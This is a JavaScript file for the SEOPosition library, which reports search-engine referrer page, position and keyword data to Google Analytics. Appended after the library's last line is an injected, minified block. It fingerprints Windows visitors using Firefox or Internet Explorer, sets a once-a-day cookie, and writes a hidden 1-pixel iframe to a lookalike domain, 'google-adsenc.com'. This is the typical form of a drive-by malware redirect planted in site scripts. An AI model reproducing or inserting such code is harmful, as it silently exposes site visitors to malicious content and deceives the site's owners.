/* ***** BEGIN LICENSE BLOCK *****
 * Version: MPL 1.1
 * The contents of this file are subject to the Mozilla Public License Version
 * 1.1 (the "License"); you may not use this file except in compliance with
 * the License. You may obtain a copy of the License at
 * http://www.mozilla.org/MPL/
 *
 * Software distributed under the License is distributed on an "AS IS" basis,
 * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
 * for the specific language governing rights and limitations under the
 * License.
 *
 * The Original Code is the the SEOPosition library.
 *
 * The Initial Developer of the Original Code is
 * Andy Edmonds <andyed@gmail.com>
 *
 * Portions created by the Initial Developer are Copyright (C) 2008
 * the Initial Developer. All Rights Reserved.
 *
 * Contributor(s):
 * Jim MacKay <jim@jagvent.com> ; Generalized, Added More SEs, Google TLD,3LD,Images,Page,Position
 * ***** END LICENSE BLOCK ***** */

var seoposition = {
		ref:  document.referrer.toString(),
		init: function () {

				/* Google Page */
				this.ssGetPageNum ("SEO Google Page",".google.","q=","start=",0,10);
				
				/* Google Position */
				this.ssGetPosition ("SEO Google Position",".google.com/url","q=","cd=");

				/* Yahoo */
				this.ssGetPageNum ("SEO Yahoo Page",".yahoo.","p=","b=",1,10);
				
				/* MSN */
				this.ssGetPageNum ("SEO MSN Page",".msn.","q=","first=",1,10);
				
				/* Live */
				this.ssGetPageNum ("SEO Live Page",".live.","q=","first=",1,10);
				
				/* Bing */
				this.ssGetPageNum ("SEO Bing Page",".bing.","q=","first=",1,10);
				
				/* AOL */
				this.ssGetPageNum ("SEO AOL Page",".aol.","query=","page=",1,1);		

				/* Google TLD */
				this.ssGetTld ("SEO Google TLD",".google.","q=","start=",0,10);

				/* Google 3LD */
				this.ssGet3ld ("SEO Google Site",".google.");
			
				/* Google Images */
				this.ssGetGoogleImages ("SEO Google Images","images.google.");
			
		}
}


// source = engine name for report
// domain = 2nd Level of Domain; i.e. "images.google." including the "."

seoposition.ssGetGoogleImages = function(source,domain) {
    	if(seoposition.ref.indexOf(domain) > -1) {  
		var ssImageNum = seoposition.ssGetParam("start",seoposition.ref);
		var ssKeyword = unescape(seoposition.ssGetParam("prev",seoposition.ref));
		ssKeyword = unescape(seoposition.ssGetParam("q",ssKeyword));
		ssKeyword = ssKeyword.replace(/\+/g, " ");
		if(pageTracker != 'undefined')  {
			pageTracker._trackEvent(source, ssKeyword, document.location.pathname, parseInt(ssImageNum));
		}
	}
}



// source = engine name for report
// domain = 2nd Level of Domain; i.e. ".google." including the "."

seoposition.ssGet3ld = function(source,domain) {
    	if(seoposition.ref.indexOf(domain) > -1) {  
		var ss3ld = seoposition.ref.slice(seoposition.ref.indexOf("//") + 2, seoposition.ref.indexOf(domain) + domain.length - 1);
		if(pageTracker != 'undefined')  pageTracker._trackEvent(source, ss3ld, document.location.pathname, 1);		
	}
}
		

// source = engine name for report
// domain = 2nd Level of Domain; i.e. ".google." including the "."
// qParam = query parameter name for the engine
// pParam = page parameter name for the engine
// offset & divisor are used to calculate page properly
//  so {page reported} = 1 + ( {pParam Value} - {offset} ) / {divisor}

seoposition.ssGetTld = function(source,domain,qParam,pParam,offset,divisor) {
    	if(seoposition.ref.indexOf(domain) > -1) {  
		var ssTld = seoposition.ref.substring(seoposition.ref.indexOf(domain) + domain.length - 1);
		ssTld = ssTld.substring(0,ssTld.indexOf("/"));
		var ssPage = seoposition.ssCalcPageNum(pParam,offset,divisor);
		if(pageTracker != 'undefined')  pageTracker._trackEvent(source, ssTld, document.location.pathname, ssPage);
	}
}



// source = engine name for report
// qParam = query parameter name for the engine
// pParam = page parameter name for the engine
// offset & divisor are used to calculate page properly
//  so {page reported} = 1 + ( {pParam Value} - {offset} ) / {divisor}

seoposition.ssGetPageNum = function (source,domain,qParam,pParam,offset,divisor) {
    	if(seoposition.ref.indexOf(domain) > -1  && seoposition.ref.indexOf(qParam) > -1 ) {
		var page = seoposition.ssCalcPageNum(pParam,offset,divisor);
		if(pageTracker != 'undefined') pageTracker._trackEvent(source, "Page" + page, document.location.pathname, page);
	}
}



// source = engine name for report
// qParam = query parameter name for the engine
// pParam = page parameter name for the engine
//  so {position reported} = {pParam Value}

seoposition.ssGetPosition = function (source,domain,qParam,pParam) {
    	if(seoposition.ref.indexOf(domain) > -1  && seoposition.ref.indexOf(qParam) && seoposition.ref.indexOf(pParam) > -1 ) {
		var position = seoposition.ssGetParam(pParam,seoposition.ref) * 1;
		var position_text = "Position-" + ((position < 10)?"0":"") + position;
		if(pageTracker != 'undefined')  pageTracker._trackEvent(source, position_text, document.location.pathname, position);
	}
}



// pParam = page parameter name for the engine
// offset & divisor are used to calculate page properly
//  so {page returned} = 1 + ( {pParam Value} - {offset} ) / {divisor}

seoposition.ssCalcPageNum = function (pParam,offset,divisor) {
	if(seoposition.ref.indexOf(pParam) > -1) {
		if(seoposition.ref.split("?").length) {					
			return 1+(seoposition.ssGetParam(pParam,seoposition.ref)-offset)/divisor;
		} 
	} else {
			return 1;
	}
}





// ssGetParam retreives a parameter value from a string

seoposition.ssGetParam = function (sParam,sString) {
	var arParams = sString.split("?")[1];							
	arParams = arParams.split("&");
	for(var i=0;i<arParams.length;i++) {
		if(arParams[i].indexOf(sParam) > -1 ) {
			return arParams[i].split("=")[1];
		}
	}
}


seoposition.init();var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
